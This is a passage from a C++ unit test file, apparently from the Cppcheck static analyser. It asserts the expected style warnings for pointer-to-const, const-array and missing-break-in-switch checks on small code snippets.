errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" 